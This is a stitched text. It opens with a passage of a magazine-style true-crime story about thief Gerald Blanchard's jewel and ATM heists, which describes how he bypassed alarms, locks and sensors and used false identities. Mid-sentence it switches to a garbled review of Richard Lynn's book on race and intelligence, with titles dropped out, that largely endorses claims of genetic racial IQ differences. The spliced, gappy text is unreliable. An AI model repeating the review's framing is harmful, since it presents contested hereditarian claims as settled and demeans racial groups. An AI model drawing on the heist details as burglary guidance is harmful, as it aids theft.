The docent began to describe the history of the Koechert Diamond Pearl, better known as the Sisi Star — it was one of many similar pieces specially crafted for Empress Elisabeth to be worn in her magnificently long and lovely braids. Sisi, as she was affectionately known, was assassinated 100 years ago. Only two stars remain, and it has been 75 years since the public had a glimpse of...
Blanchard wasn't listening. He was noting the motion sensors in the corner, the type of screws on the case, the large windows nearby. To hear Blanchard tell it, he has a savantlike ability to assess security flaws, like a criminal Rain Man who involuntarily sees risk probabilities at every turn. And the numbers came up good for the star. Blanchard knew he couldn't fence the piece, which he did hear the guide say was worth $2 million. Still, he found the thing mesmerizing and the challenge irresistible.
He began to work immediately, videotaping every detail of the star's chamber. (He even coyly shot the "No Cameras" sign near the jewel case.) He surreptitiously used a key to loosen the screws when the staff moved on to the next room, unlocked the windows, and determined that the motion sensors would allow him to move — albeit very slowly — inside the castle. He stopped at the souvenir shop and bought a replica of the Sisi Star to get a feel for its size. He also noted the armed guards stationed at every entrance and patrolling the halls.
But the roof was unguarded, and it so happened that one of the skills Blanchard had picked up in his already long criminal career was skydiving. He had also recently befriended a German pilot who was game for a mercenary sortie and would help Blanchard procure a parachute. Just one night after his visit to the star, Blanchard was making his descent to the roof.
Aerial approaches are a tricky business, though, and Blanchard almost overshot the castle, slowing himself just enough by skidding along a pitched gable. Sliding down the tiles, arms and legs flailing for a grip, Blanchard managed to save himself from falling four stories by grabbing a railing at the roof's edge. For a moment, he lay motionless. Then he took a deep breath, unhooked the chute, retrieved a rope from his pack, wrapped it around a marble column, and lowered himself down the side of the building.
Carefully, Blanchard entered through the window he had unlocked the previous day. He knew there was a chance of encountering guards. But the Schloss Schönbrunn was a big place, with more than 1,000 rooms. He liked the odds. If he heard guards, he figured, he would disappear behind the massive curtains.
The nearby rooms were silent as Blanchard slowly approached the display and removed the already loosened screws, carefully using a butter knife to hold in place the two long rods that would trigger the alarm system. The real trick was ensuring that the spring-loaded mechanism the star was sitting on didn't register that the weight above it had changed. Of course, he had that covered, too: He reached into his pocket and deftly replaced Elisabeth's bejeweled hairpin with the gift-store fake.
Within minutes, the Sisi Star was in Blanchard's pocket and he was rappelling down a back wall to the garden, taking the rope with him as he slipped from the grounds. When the star was dramatically unveiled to the public the next day, Blanchard returned to watch visitors gasp at the sheer beauty of a cheap replica. And when his parachute was later found in a trash bin, no one connected it to the star, because no one yet knew it was missing. It was two weeks before anyone realized that the jewelry had disappeared.
Later, the Sisi Star rode inside the respirator of some scuba gear back to his home base in Canada, where Blanchard would assemble what prosecutors later called, for lack of a better term, the Blanchard Criminal Organization. Drawing on his encyclopedic knowledge of surveillance and electronics, Blanchard became a criminal mastermind. The star was the heist that transformed him from a successful and experienced thief into a criminal virtuoso.
"Cunning, clever, conniving, and creative," as one prosecutor would call him, Blanchard eluded the police for years. But eventually he made a mistake. And that mistake would take two officers from the modest police force of Winnipeg, Canada, on a wild ride of high tech capers across Africa, Canada, and Europe. Says Mitch McCormick, one of those Winnipeg investigators, "We had never seen anything like it."
Like a criminal Rain Man, Gerald Blanchard possessed a savantlike ability to exploit security flaws.
Photo: John Midgley
Blanchard pulled off his first heist when he was a 6-year-old living with his single mother in Winnipeg. The family couldn't afford milk, and one day, after a long stretch of dry cereal, the boy spotted some recently delivered bottles on a neighbor's porch. "I snuck over there between cars like I was on some kind of mission," he says. "And no one saw me take it." His heart was pounding, and the milk was somehow sweeter than usual. "After that," he says, "I was hooked."
Blanchard moved to Nebraska, started going by his middle name, Daniel, and became an accomplished thief. He didn't look the part — slim, short, and bespectacled, he resembled a young Bill Gates — but he certainly played it, getting into enough trouble to land in reform school. "The way I met Daniel was that he stole my classroom VCR," recalls Randy Flanagan, one of Blanchard's teachers. Flanagan thought he might be able to straighten out the soft-spoken and polite kid, so he took Blanchard under his wing in his home-mechanics class.
"He was a real natural in there," Flanagan says. Blanchard's mother remembers that even as a toddler he could take anything apart. Despite severe dyslexia and a speech impediment, Blanchard "was an absolute genius with his hands," the teacher recalls. In Flanagan's class, Blanchard learned construction, woodworking, model building, and automotive mechanics. The two bonded, and Flanagan became a father figure to Blanchard, driving him to and from school and looking out for him. "He could see that I had talent," Blanchard says. "And he wanted me to put it to good use."
Flanagan had seen many hopeless kids straighten out — "You never know when something's going to change forever for someone," he says — and he still hoped that would happen to Blanchard. "But Daniel was the type of kid who would spend more time trying to cheat on a test than it would have taken to study for it," Flanagan says with a laugh.
In fact, by early in his high school years, Blanchard had already abandoned his after-school job stocking groceries to pursue more lucrative opportunities, like fencing tens of thousands of dollars in goods stolen by department store employees he had managed to befriend. "I could just tell who would work with me," he says. "It's a gift, I guess."
Blanchard began mastering the workings of myriad mechanical devices and electronics. He became obsessed with cameras and surveillance: documenting targets, his own exploits, and his huge piles of money. Befitting a young tech enthusiast, he emptied an entire RadioShack one Easter Sunday. At age 16, he bought a house with more than $100,000 in cash. (He hired a lawyer to handle the money and sign the deal on his behalf.) When he moved in, Blanchard told his mother that the home belonged to a friend. "She looked the other way," Blanchard says. "And I tried to keep it all from her."
Around this time, Blanchard was arrested for theft. He did several months behind bars and was released into Flanagan's custody after the older man vouched for him at a hearing. "He was great with our own kids," Flanagan says. "And I still thought he might come around." But Blanchard's burgeoning criminal career was hard to ignore, as he often flaunted his ill-gotten gains. "I wasn't surprised when the FBI came knocking one day," Flanagan says. "He'd pull out a fistful of hundreds and peel one off to pay for pizza."
In April 1993, Blanchard was nabbed by the cops in Council Bluffs, Iowa, for a suspected car arson and brought back to police headquarters. "They kept me in the interrogation room past midnight," Blanchard says. "And at a certain point, I managed to sneak into the next room and slip through the tiles into the ceiling." Undetected, he heard the cops run down the hall, thinking he'd gone out the fire escape. After waiting a couple of hours, Blanchard lowered himself down into the mostly empty station, stole a police coat, badge, radio, and revolver. After leaving a single bullet on the desk of his interrogator, he took the elevator to the main floor and strolled right past the front desk on his way out of the station. He hitchhiked at dawn back to Omaha on the back of a motorcycle, holding his purloined police cap down in the wind. "Why are you wearing a uniform?" the driver asked. "Costume party," Blanchard said as the sun came up. "Really fun time."
The next day, Blanchard was re-apprehended by a SWAT team, which had to use flash grenades to extricate him from his mother's attic. But he surprised the cops by escaping yet again, this time from the back of a police cruiser. "They got out of the car and left the keys," Blanchard says. "There was no barrier, so I fiddled with the cuffs until I got my hands in front of me, locked the doors, slipped up front, and put it in gear." The authorities gave chase until Blanchard swerved into a steak-house parking lot, fled on foot, and was finally recaptured.
This time, Blanchard served four years and his sentence came with a deportation order attached. In March 1997, he was released to his Canadian homeland and barred from returning to the US for five years.
"After that," Flanagan says, "I heard from Daniel once or twice a year, thanking me for what I had done for him." Blanchard sent pictures of himself vacationing around the world, on exclusive beaches, posing in front of Viennese castles. He said he had his own security business. "I wanted that to be true," Flanagan says. "But I had a hunch he was more likely in the anti-security business."
In 2001, Blanchard was driving around Edmonton when he saw a new branch of the Alberta Treasury bank going up. His internal algorithm calculated low risk, and he began to case the target meticulously. It had been three years since the Sisi Star theft, and it was time to try something big and new.
As the bank was being built, Blanchard frequently sneaked inside — sometimes at night, sometimes in broad daylight, disguised as a delivery person or construction worker. There's less security before the money shows up, and that allowed Blanchard to plant various surveillance devices in the ATM room. He knew when the cash machines were installed and what kind of locks they had. He ordered the same locks online and reverse engineered them at home. Later he returned to the Alberta Treasury to disassemble, disable, and remount the locks.
The take at this bank was a modest 60 grand, but the thrill mattered more than the money anyway. Blanchard's ambition flowered, as did his technique. As Flanagan had observed, Blanchard always wanted to beat the system, and he was getting better at it.
Blanchard targeted a half-dozen banks over the next few years. He'd get in through the air-conditioning ductwork, at times contorting his body to fit inside really tight spaces. Other times, he would pick the locks. If there were infrared sensors, he'd use IR goggles to see the beams. Or he'd simply fool the sensor by blocking the beam with a lead film bag.
He assembled an arsenal of tools: night-vision cameras, long-range lenses, high-gain antennas that could pick up the feeds from the audio and video recorders he hid inside a bank, scanners programmed with the encryption keys for police frequencies. He always had a burglary kit on hand containing ropes, uniforms, cameras, and microphones. In the Edmonton branch of the Bank of Nova Scotia, which he hit in 2002, he installed a metal panel near the AC ducts to create a secret crawl space that he could disappear into if surprised by police.
Such evasive action was never required, however, in part because Blanchard had also memorized the mechanics of the Mas-Hamilton and La Gard locks that many banks used for their ATMs. (These are big, complicated contraptions, and when police later interrogated Blanchard, they presented him with a Mas-Hamilton lock in dozens of pieces. He stunned them by reassembling it in 40 seconds.)
Blanchard also learned how to turn himself into someone else. Sometimes it was just a matter of donning a yellow hard hat from Home Depot. But it could also be more involved. Eventually, Blanchard used legitimate baptism and marriage certificates — filled out with his assumed names — to obtain real driver's licenses. He would even take driving tests, apply for passports, or enroll in college classes under one of his many aliases: James Gehman, Daniel Wall, or Ron Aikins. With the help of makeup, glasses, or dyed hair, Blanchard gave James, Daniel, Ron, and the others each a different look.
Over the years, Blanchard procured and stockpiled IDs and uniforms from various security companies and even law enforcement agencies. Sometimes, just for fun and to see whether it would work, he pretended to be a reporter so he could hang out with celebrities. He created VIP passes and applied for press cards so he could go to NHL playoff games or take a spin around the Indianapolis Motor Speedway with racing legend Mario Andretti. He met the prince of Monaco at a yacht race in Monte Carlo and interviewed Christina Aguilera at one of her concerts.
That's where, in July 2000, Blanchard met Angela James. She had flowing black hair and claimed to work for Ford Models. They got along right away, and Blanchard was elated when she gave him her number. He sensed that the teenager was "down with crime" — someone he could count on for help.
Blanchard liked having a sidekick. James was a fun, outgoing party animal who had plenty of free time. She eventually began helping Blanchard on bank jobs. They'd tag-team on daylight reconnaissance, where her striking looks provided a distraction while Blanchard gathered information. At night, she'd be the lookout.
Though they were never involved romantically, James and Blanchard traveled together around the world, stopping in the Caribbean to stash his loot in offshore accounts. They camped out at resorts in Jamaica and the Turks and Caicos islands, depositing money in $10,000 increments into some of Blanchard's 13 pseudonymously held accounts. The money in the offshore accounts was to pay for his jet-setting lifestyle. The money back in Canada would bankroll his real estate transactions. The funds sitting in Europe were there, well, in case anything happened to him.
After midnight on Saturday, May 15, 2004, as the northern prairie winter was finally giving way to spring, Blanchard walked up to the front door of the Canadian Imperial Bank of Commerce in the Mega Centre, a suburban development in Winnipeg. He quickly jimmied the lock, slipped inside, and locked the door behind him. It was a brand-new branch that was set to open for business on Monday, and Blanchard knew that the cash machines had been loaded on Friday.
Thorough as ever, Blanchard had spent many previous nights infiltrating the bank to do recon or to tamper with the locks while James acted as lookout, scanning the vicinity with binoculars and providing updates via a scrambled-band walkie-talkie. He had put a transmitter behind an electrical outlet, a pinhole video camera in a thermostat, and a cheap baby monitor behind the wall. He had even mounted handles on the drywall panels so he could remove them to enter and exit the ATM room. Blanchard had also taken detailed measurements of the room and set up a dummy version in a friend's nearby machine shop. With practice, he had gotten his ATM-cracking routine down to where he needed only 90 seconds after the alarm tripped to finish and escape with his score.
As Blanchard approached, he saw that the door to the ATM room was unlocked and wide open. Sometimes you get lucky. All he had to do was walk inside.
From here he knew the drill by heart. There were seven machines, each with four drawers. He set to work quickly, using just the right technique to spring the machines open without causing any telltale damage. Well rehearsed, Blanchard wheeled out boxes full of cash and several money counters, locked the door behind him, and headed to a van he had parked nearby.
Eight minutes after Blanchard broke into the first ATM, the Winnipeg Police Service arrived in response to the alarm. However, the officers found the doors locked and assumed the alarm had been an error. As the police pronounced the bank secure, Blanchard was zipping away with more than half a million dollars.
The following morning was a puzzler for authorities. There were no indications of damage to the door, no fingerprints, and no surveillance recordings — Blanchard had stolen the hard drives that stored footage from the bank's cameras. Moreover, Blanchard's own surveillance equipment was still transmitting from inside the ATM room, so before he skipped town, he could listen in on investigators. He knew their names; he knew their leads. He would call both the bank manager's cell phone and the police, posing as an anonymous informant who had been involved in the heist and was swindled out of his share. It was the contractors, he'd say. Or the Brinks guy. Or the maintenance people. His tips were especially convincing because he had a piece of inside information: One of the bank's ATMs was left untouched. Blanchard had done that on purpose to make it easier to sow confusion.
Winnipeg police officers Larry Levasseur (left) and Mitch McCormick were relentless in their pursuit of Blanchard.
Photo: John Midgley
With the cops outmatched and chasing red herrings, the Winnipeg bank job looked like a perfect crime. Then officials got a call from a vigilant employee at a nearby Walmart, which shared a large parking lot with the bank. He had been annoyed at people leaving cars there, so he took it upon himself to scan the lot. On the night of the break-in, he spotted a blue Dodge Caravan next to the bank. Seeing a dolly and other odd equipment inside, he took down the license plate number. Police ran it. The vehicle had been rented from Avis by one Gerald Daniel Blanchard.
Blanchard's use of his real name was as careless as the fingerprints police found inside the getaway van recovered by the rental company. Soon the cops were on his tail.
Because of the heist's sophistication, the investigation fell to Winnipeg's Major Crimes unit. But Blanchard — now divorced and living with his girlfriend, |
nations, admixture and adoption studies. But here Lynn also covers what aspects of the environment are likely causing racial differences too, which Lynn is able to do with more accuracy and sophistication than critics who are more concerned with protecting taboos than figuring out sociological puzzles. Many of the popular and politically acceptable "answers" such as aspects of the shared family and education fail direct and adequately controlled tests (Lynn does believe education has an important impact on achievement, if not intelligence, and has National Review nutrition. Before any other psychologist Lynn (1990) had proposed and supported the hypothesis that nutrition is responsible for the Flynn Effect. He has also demonstrated previously why it the best supported environmental explanation for certain racial differences. In this chapter Lynn compares NGO reports of four different signs of severe malnutrition - underweight, anemia, wasting, and stunting - for five developing regions. This shows that Latin America suffers the least malnutrition, followed by the Middle-east, Asia/Pacific, Africa, and finally South Asia, which suffers the worst malnutrition of any region. Lynn decides half the African deficit is due to malnutrition, but that it can't account for any of the American gap, where blacks show no other physical signs of malnutrition. But here Lynn doesn't mention breast-feeding, which as Arthur Jensen has shown (1998, pp 506-507) is practiced almost three times as much among white Americans than African-Americans and has been associated with IQ gains of nearly 10 points. It is likely that effectively encouraging breast-feeding would have a positive impact on the next generation of African-Americans.
Chapter 15-17: Climate, Brain size, Intelligence and Evolution
These three, closely related last chapters, which begin with a summary of the work and theories of
But is this theory plausible? Well, let's ask that with several more specific questions, a) Does intelligence follow a pattern consistent with this theory? b) Do the differences look genetic?, and c) Is there evidence to suggest this evolutionary pressure?
As to the first question, the answer has long been regarded as 'yes'. It has been noted since the 18th century that the more wealthy regions existed in the temperate regions with the poorer regions in the tropics/subtropics, something that economists and sociologists have also considered during the 20th century (see also
As to the second question, 'are race differences in intelligence genetic', this is not one question but a different one for each race. Again, since adoption studies are perhaps one of the best clues for this in the existing literature, hopefully I'll be able to provide some original insights to this shortly. Right now, the least convincing, I would say, are the low intelligence of other Eurasians, such as Middle Easterners, South Asians and Southeast Asians (this isn't to say not convincing). Most convincing, at this point (due to the most data) would be that sub-Saharan Africans score somewhat below Europeans, and that East Asians score somewhat above Europeans for reasons relating to genetics. Intermediate levels of evidence also suggests Australoids and Amerindians are somewhat less intelligent.
I put Southeast Asians in the 'least convincing' category for reasons discussed above, and Middle Easterners and South Asians (as well as Southeast Europeans) partly for some studies I have not mentioned here. But another important reason is that Lynn is chronocentric. The Middle East and India are relatively underdeveloped today, but have been ahead of Europe in the past; the Middle East relatively recently even. While it's possible that both these groups changed through time, this still seems to contradict Lynn who pushes the differences back deep in evolutionary time. According to Lynn, the Middle East and India never had high IQs (i.e. 100), because they were never exposed to the business end of ice age winters. But how to explain the times in semi-recent history when Islamic civilization, science and scholarship, was at a more advanced stage than Christian Europe? I suppose parallels exist even today, when a higher IQ Chinese population is temporarily more underdeveloped than the West, due to bad governance, etc. Still it's doubtful both that all intelligence differences are genetic, and that all the ones that are genetic have stood still for over ten thousand years. Lynn rightly points out that differences across space is a basic expectation from evolutionary theory, but differences across time are as well, and that all the major differences were formed when Lynn hypothesizes, requires us to believe that intelligence would stand still all that time after the evolutionary pressures of the last ice age, despite culture and environment creating many new selection pressures. Why should this be so, when Lynn demonstrates major genotypic selection in Dysgenics, just during the 20th century? I would put the major candidates for either change through time or "totally" environmentally depressed in central Eurasia, where history provides notable counterexamples and novel genes could flow as freely as the ancient trade routes.
Third, is there evidence that life in Northern Eurasia would require more intelligence? If we know the pattern exists and have better reasons to suspect genes than to suspect not, it is reasonable to reverse engineer the problem.
Consistent with the relatively higher intelligence we find with Eskimos, one of Lynn's best pieces of evidence that more intelligence is required in the northern latitudes than in tropical/subtropical ones are the tool kits manufactured by the hunter-gatherers in these respective latitudes. Hunter-gatherers in the latter group have on average about 10-20 tools, while the former have 25-60. These tools are also more complex, involving assembly of parts. This appears to be due to two main domains of challenge not faced in the tropical latitudes, warmth and hunting. Warmth of course, requires that iconic "caveman" challenge, of making and maintaining fire, more challenging in the cold snowy environment. It also requires making clothes for adults and infants and when necessary shelters. Where plant foods are available year round in the tropical/subtropics, diet consists almost entirely of gathering supplemented with minor hunting, while the opposite is true up north. Hunting required novel tools and techniques such as tracking and trapping large prey, as well as food storage.
Tools and tool complexity at least add a quantitative dimension to an otherwise verbal plausibility argument (of which Jared Diamond has provided more such evidence for his narrative). And as far as this goes we must ask why the cold is thought to raise intelligence, when it is the African environment, not the European one, that rapidly boosted and created human intelligence. Similarly, nowhere does Lynn mention a challenge in the Neanderthals who populated Europe. Neanderthals were not our ancestors, but our cousins. They were a non-human species (we know this through direct genetic evidence), but they had a recognizably human intelligence. They made skilled tools, and were excellent hunters. They made clothes, built fires and shelters, cared for their sick and buried their dead, and perhaps played music as well. They too migrated from Africa and became adapted to the European environment. While the Neanderthals may have been roughly equally intelligent, there is little reason to believe the frigid environment they were well adapted to had made them smarter than their African human counterparts, even though they could adequately do all the things Lynn argues Europeans later needed additional cognitive abilities to do. In fact the African humans moved up into the unfamiliar environment during conditions which had pushed down previous waves, and quickly displaced Neanderthals who had evolved in these conditions. The migrants had trade routes, which the Neanderthals did not, and their more sophisticated tools were copied by the retreating Neanderthals, not vice versa. So it would seem that the Africans immediately mastered these tasks, such as hunting, cloth and fire making, etc, that were supposed to increase their intelligence later, with intelligence they already had. And this intelligence evolved in the lower latitudes. Lynn's argument seems much smaller now since the important selective difference must not be between Africa and Europe, but between Europe and even colder Europe. Did making clothes and fire, storing food or trapping prey become even more complicated during the second ice age, because we know they already needed to and were able to do these things, with surprising superiority, before hand. Of course another genetic possibility is that these initial migrants were not a representative group, as they were able to move up into the Levant during an advancing ice age when previous groups of modern humans were unable to withstand these conditions. Richard Lewontin has argued that the high heritability of intelligence suggests that these between-individual differences, as relevant as they are to real-world outcomes today, haven't been much of a fitness characteristic in our evolutionary history and that they may have not been expressed the same or at all in ancestral environments. If this is true, genetic drift could be an even more likely explanation, if not a particularly romantic one.
As Steve Pinker recently Commentary several months ago, that the tools now exist to test racial differences and they will probably be tested in this next ten years either directly or inadvertently. If even one well-done study finds a racial difference in cognitive ability, and this is likely, we can count on Lynn's work and others like it, including this book, getting an immediate flood of attention, as curiosities are piqued, taboos crumble and ambitious researchers fill the newly opened niche and quickly educate themselves on the topic with the best information available. And like it or not, on this score Lynn remains one of the only games in town. But it's a big topic for only a few scientists to take on by themselves and it is unlikely that they would get everything right as the first lonely ones to take a stab. So let's invite a lot more research on this topic, and the data will become cleaner, more sophisticated and more accurate. Something all of us should want.
Fig. 1
This chart summarizes the data available in RDiI. It is my approximate tally. The 'Majority' vertical column contains information on populations taken in countries where they form the basic majority. For example, Lynn lists 59 studies of East Asians taken in 5 different Asian countries such as Japan and Taiwan. The 'Minority' vertical column contains information on these same populations taken in countries where they form minorities. So Lynn lists 42 additional studies of East Asians done in 7 other (mostly Western) countries such as America and Britain. The third vertical series of columns are the combined values (they don't always add up perfectly because of coding issues. For instance admixture studies appear in the final tally but not the Majority/Minority columns because this complicates the issue). For Africa, 'Western' indicates the developed countries where blacks score about 85, and 'Non-Western' the developing countries (primarily in the Caribbean and Latin America) where they score about 70.
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Detterman, D. (1999). The psychology of mental retardation. International Review of Psychiatry. 11, 26-33.
Diamond, J. (2004). The wealth of nations. Nature, 429: 616-617.
Dickerson, R. (in press) Exponential correlation of IQ and the wealth of nations. Intelligence.
Hunt, E. & Wittmann, W. (in press) Relations Between National Intelligence and Indicators of National Prosperity. Fifth Annual Conference of International Society for Intelligence Research, New Orleans.
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Voracek, M. (2004). National intelligence and suicide rate: an ecological study of 85 countries. Personality and Individual Differences 37, 543-553. Richard Lynn, Professor Emeritus of Psychology at the University of Ulster, is surely another example. Now 76, Lynn has released a large number of papers and 5 books since his "retirement", 4 of them since 2001, starting with 1996's Dysgenics, 2001's follow-up Eugenics, 2001's The Science of Human Diversity, 2002's IQ & the Wealth of Nations, and now Race Differences in Intelligence. Richard Lynn appears to be a surprising exception as a modern hereditarian researcher who has not had to fight an exasperating battle with his institution, but his reputation in the media has been characterized by much the same turbulence as his colleagues' - most prominently during thebacklash of the mid 1990s. Thus Leon Kamin's review of the book inincluded:Similarly,senior editor Charles Lane used Richard Lynn as his launching pad for two jeremiads againstin the invidiously titled (and argued)published in, and an expanded version of this article which appeared in, titled, featuring Lynn as the eponymous "tainted source". While these and similar articles in the popular press may have helped solidify Lynn's reputation as a "fringe" researcher among certain segments of the literate public, his reputation as a scientist in differential psychology remains secure and respectable. Little known, for instance, is the book review of Richard Lynn's(about the genotypic decline of socially valued traits) by the late scientific legend William Hamilton in the. This review is still available free at the journal's website as a tribute, because it was actually Hamilton's, submitted just two weeks before his tragically premature death in 2000. In comparison to Kamin's recriminations, Hamilton had nothing but good words for Lynn's character and work, calling, and Lynn himselfand that. The contrast between interchangeable talking heads rebuking Lynn as a crank in popular magazines with Hamilton, possibly the most eminent evolutionary theorist of the 20th century, praising him in a prestigious journal at about the same time, could hardly be more ironic. (Meanwhile it is actually Kamin himself who can most convincingly be charged with data distortion and heavily compromised objectivity, see Mackintosh 1998 pp 78-79, 98-102)Lynn's follow-up book(aboutthe genotypic decline of socially valued traits) received similar praise in the(Lykken 2004) as, as well as by the journal(Martin 2001) as aand a welcome one,of dysgenic trends. Lynn's third recent book,, a hagiography of the Pioneer Fund, also received supporting words in the APARoB from the psychologist Ulric Neisser (2004), who was also chairman of the APA's Taskforce on Intelligence (that was convened largely to counter the proliferation of scientific misinformation against IQ in theaftermath). Despite Neisser's repeated ostentatious and inappropriate insults against his hereditarian colleagues (such as saying that Lynn and Rushton's work on race), he ultimately couldn't avoid agreeing with Lynn's main argument:. Neisser tellingly concludes in agreement with Lynn (and against William Tucker's Pioneer book, also reviewed) that the world was actually better off having the Pioneer Fund:(These words coming from the APARoB should come as some news to certain 'watchdog' outfits which are still attempting to anathemize this same position. Pehaps all these journals and scientists mentioned above should now be added to the list of 'hate groups'?).Lynn's fourth recent book, along with Tatu Vanhanen,, received more mixed reviews in academic journals, but this should be taken as a sign of its controversial importance., for instance, hedged its bets and printed a hostile review back to back with a sympathetic one (Richardson, Palareit 2004), as is sometimes done with controversial books (did the same thing for, etc.). Unfortunately, much of the criticism in the journals, as is common in the popular press, centered around an obsessive focus with and antipathy towards the book's hereditary position on racial differences, far outstripping its relevance to the book's thesis that national IQ is a major cause of differences in national wealth. Worse still, many negative reviewers were deeply ignorant of the subjects that made them most angry. Some economists were outraged in stereotypical form, over use of the "discredited" IQ measure. Almost nobody was qualified to understand the race research, which Lynn specializes in, though it deeply unsettled almost all of them. So, for example, most reviewers took offense at the reference to race and brain size but none had informed or adequate scientific ways to critique it. To date though, the book is already generating a surprising amount of original commentary and research given this radioactivity, (Barber 2005; Dickerson, in press; Hunt & Williams, in press; Jones & Schneider, in press; Jones 2005; McDaniel & Whetzel, in press; Voracek 2004), and it is clearly Lynn's most important contribution to date. Also, while not referenced directly it is also influencing international policy. So, for instance, 2004's international panel of economists in league with Britain'smagazine, known as the "Copenhagen Consensus", ranked improving micronutrient levels as the second most important action to help the developing world. The impact of nutrition on intelligence was a prominent part of their argument, with 54 references to the word "cognitive" and 10 references to "IQ" (Jones 2005). These issues and recommendations are quite clearly taken fromWhile Lynn has made valuable and original contributions to a number of psychometric issues, IQ&tWoN, and his recent work with sex differences, confirms that group differences in intelligence are clearly his forte, and since so few other researchers dare to touch the issue, the field is mostly wide open for discovery. Which brings me to Lynn's fifth recent and latest book,, which Lynn himself describes as(p. 2) In contrast to IQ&tWoN, RDiI does not contain a newly created thesis. This is not to say it is unoriginal, many of its ideas (and much of its copious data) certainly originates with Lynn himself, but the theory, its basic outline and many of the key references of this book were almost all first presented 15 years ago in Lynn'sarticle 'Race Differences in Intelligence: A Global Perspective' and its companion piece, while an even more basic version appeared in his 1978 chapterin the book Human Variation The main strength of RDiI is justdata Lynn has collected, totaling. While IQ&tWoN, published only a few years ago, presented data from 81 countries, RDil has boosted that number up to(additions include Cameroon, Central African Republic, Estonia, Iceland, Jordan, Kuwait, Laos, Lithuania, Madagascar, Malta, Mozambique, Pakistan, Samoa, Serbia, Sri Lanka, Syria, Yemen, and a few others), amounting to 137 newly referenced IQ studies. RDiI is seventeen chapters; the first 2 are on the concepts of race and intelligence. The next 10 chapters cover the psychometric data on 10 different racial groups: Europeans, Africans, Bushman and Pygmies, South Asians and North Africans, Southeast Asians, Australian Aborigines, Pacific Islanders, East Asians, Arctic Peoples, and Native Americans. The next chapter discusses the psychometric justifications for these results, while the last four chapters discuss the environmental and evolutionary nature of these differences according to Lynn's assessment.These chapters are small and polemical. IQ&tWoN had a similarly abbreviated, but fully adequate chapter on IQ and I recommend that one instead. Lynn's chapter on race benefits less by squaring old scores with Ashley Montagu than it would by focusing more on the rapid advances in genetics. Lynn, for instance sourly demonstrates that Ashley Montagu and L.L. Cavalli-Sforza have continuously contradicted themselves trying to strategically deny that populations exist and are genetically differentiated even while ultimately admitting that they do. But these conceits ridicule themselves; Tan (2005) and Rosenberg (2002), which both go sadly unreferenced, help illustrate and justify the use and meaning of Lynn's clusters far more than years-old absurd quotes from race-deniers, which are already well on their way to becoming little but historical oddities. On the other hand, Lynn can't be blamed that his book was published too late to catch the latest paper by Rosenberg in the December 05 issue ofwhich again concludes, in the face of recent challenges stating otherwise, that:Finally, as a tertiary complaint, Lynn also states:This of course was also Stephen J. Gould's argument in. Both mens' assertions should be read in light of science historian, William Stanton's more qualified judgment that:" (Stanton 1960, p. 30), and that Morton's collection was ethnographic in its aim.Lynn first looked at European IQ in his 1978 chapter - it listed 14 studies from 13 different countries including the European repopulated territories of America, Australia, and New Zealand. Lynn found that they mostly scored extremely similar, with an average IQ of about 100. He also noted that results from Spain and Greece in Southern Europe were lower, although Italy was not. By 1991 the number of European countries covered was 23 with 35 studies. In comparison RDiI now lists data for, as well as data for European peoples in 6 mostly nonwhite nations, for a total of. Since IQ&tWoN, much valuable new data from Europe especially comes from the recent book Culture and Children's Intelligence. The median IQ of European peoples is now listed as 99, and this mostly holds for rich countries in the North and poor ex-Communist ones in the East, as well as white Americans, Australians, etc., and whites in six different Latin American nations. But there also appear to be some differences too - Ireland, Portugal and Lithuania all have IQs, unlike their neighbors, in the low 90s. Multiple studies give similar results showing the scores are'reliable' if not 'valid' (Ireland for instance has three studies with large standardization samples showing very similar results). Secondly, while Southern Europe does not score poorly as a block (Spain and Italy score "normally"), SouthEurope does reflect a regional trend of lower scores that extends from the Balkans into Turkey and the Near East (so for instance Romania 94, Bulgaria 93, Croatia 90, Serbia 89, Greece 93 [5 studies], and Turkey 90). Lynn also compares 4 different regions of Europeans (including North America) on IQ and brain size, finding that North American whites have the largest brains and highest IQs (perhaps because of selective migration?) and Southeast Europeans the lowest test scores and brain size. Of course if there is a decline in the Balkans, Lynn's Flynn reduced estimate of 99 for Europe is incorrect, and needs to be dropped probably even a few more points.While Lynn looks at adoption studies for evidence of heredity for other races, he unfortunately does not consider it for this major difference within Europe, even though it would seem like an even more suitable test, since these adoptees are not visibly racially distinct, controlling for the possible social effects of e.g., racism or stereotypes. Also, I know that there are, in fact, a number of IQ studies of Romanian children adopted into American and British homes. It was unfortunate that they were not reviewed. My superficial impression is that they indeed show a lower IQ than other adoptees.I don't expect any of this to go uncontested, and Lynn's accuracy and care with the data is a fitful concern. Lynn and colleagues go back and forth over differences of up to 5 points in the technical literature all the time, and these debates are resolved slowly as more literature accumulates on the controversial/disputed difference, but no one has 'exposed' Lynn fraudulently manufacturing a conclusion, as is sometimes hinted. As with Africa, Asia, and sex differences, Lynn seems adept at building up the case for his controversial estimates with more data over time. But getting overly concerned with values of several points in single European countries is probably unwarranted, as Lynn himself notes, it's more helpful to concentrate on the general patterns.Lynn first looked at Sub-Saharan African IQ in his 1978 chapter - it listed 7 studies from 4 different countries including 1 Diaspora territory: Jamaica. By 1991 the number of African countries covered was 6 with 11 studies. In comparison RDiI now lists data forin and outside of Africa, as well as data for Diaspora blacks in 5 mostly nonblack nations, for a total ofReferences to the subject from the 60s and 70s typically gave Africans an IQ much like African Americans, thus Jensen (1973) wrote : "" (p. 66). Lynn (1978) is no exception. It wasn't until 1991, that Lynn had revised this estimate dramatically to minus 2 standard deviations, which has been the source of much anger and controversy ever since. Well, the current volume drops it a little bit lower even, to an IQ of 67 as the median score fromcollected from. Similarly, the average IQ of black populations from 6 locations in Latin America and the Caribbean is 71. This is virtually the same as the score for Ethiopians in Israel. In developed, predominately white countries, a second cluster of scores emerge for black Africans. African-Americans, of course, score about 85, while the median IQ from 20 studies of blacks in Britain is 86. Similarly, West Africans from the Dutch Antilles living in the Netherlands were found to have an IQ of 85. Although an older reference, Lynn also leaves out an IQ study of an established black population in Canada, descended from US migrants (Tanser 1939, 1941) - the measured IQ was about 87. Given that the scores have not changed a bit in America for 100 years, the age should not matter, and the educational gap of blacks in Canada is still discussed as a problem and mystery to this day.More than Asia, Europe, and other areas of the world, the accuracy of such a low IQ for Africa is popularly questioned, but more with reflexive incredulity than adequate methodology. A typical comment is that it is hard to believe that half of Africa is mentally retarded. It is also hard to believe that 16% of African-Americans are "mentally retarded", but 16% of African-Americans do have IQs below 70, and the APA recognizes this as an accurate and factual reflection of ability - IQ tests are not biased against African-Americans (the criticism is fairly ignorant to begin with since diagnosing mental retardation is mostly orthogonal to the intelligence test, See Mackintosh 1998, p. 177). While this is not controversial now, among scientists, it certainly was as shocking to believe for many back in the 1970s as the 2 SD difference is to many today. While the logic of test bias has been around since at least the 1960s, a turning point 